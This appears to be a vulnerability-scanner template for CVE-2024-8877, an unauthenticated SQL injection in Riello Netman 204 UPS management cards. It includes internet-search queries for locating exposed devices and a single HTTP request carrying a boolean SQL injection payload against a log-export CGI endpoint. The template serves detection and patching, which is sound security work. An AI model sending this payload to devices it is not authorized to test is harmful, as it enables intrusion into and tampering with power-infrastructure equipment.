Riello Netman 204 - SQL Injection

id: CVE-2024-8877

info:
  name: Riello Netman 204 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The three endpoints /cgi-bin/db_datalog_w.cgi, /cgi-bin/db_eventlog_w.cgi, and /cgi-bin/db_multimetr_w.cgi are vulnerable to SQL injection without prior authentication. This enables an attacker to modify the collected log data in an arbitrary way.
  impact: |
    Unauthenticated attackers can exploit SQL injection to modify collected log data, extract sensitive information, and potentially gain complete control of the Netman 204 device through multiple vulnerable CGI endpoints.
  remediation: |
    Apply security patches from Riello for Netman 204 firmware to address the SQL injection vulnerabilities in db_datalog_w.cgi, db_eventlog_w.cgi, and db_multimetr_w.cgi endpoints.
  reference:
    - https://cyberdanube.com/en/en-multiple-vulnerabilities-in-riello-netman-204/index.html
    - https://0day.today/exploit/39757
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8877
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-8877
    cwe-id: CWE-89
    epss-score: 0.77265
    epss-percentile: 0.99558
    cpe: cpe:2.3:o:riello-ups:netman_204_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: riello-ups
    product: netman_204_firmware
    shodan-query: title:"netman 204"
    fofa-query: title="netman 204"
    censys-query: services.http.response.body:"netman204"
    google-query: intitle:"netman 204"
  tags: cve,cve2024,netman,sqli,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/db_eventlog_w.cgi?date_start=0&date_end=1715630160&gravity=%25&type=%25%27and/**/%271%27=%271"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "START APPLICATION", "category\":", "codeStr\":")'
          - 'status_code == 200'
        condition: and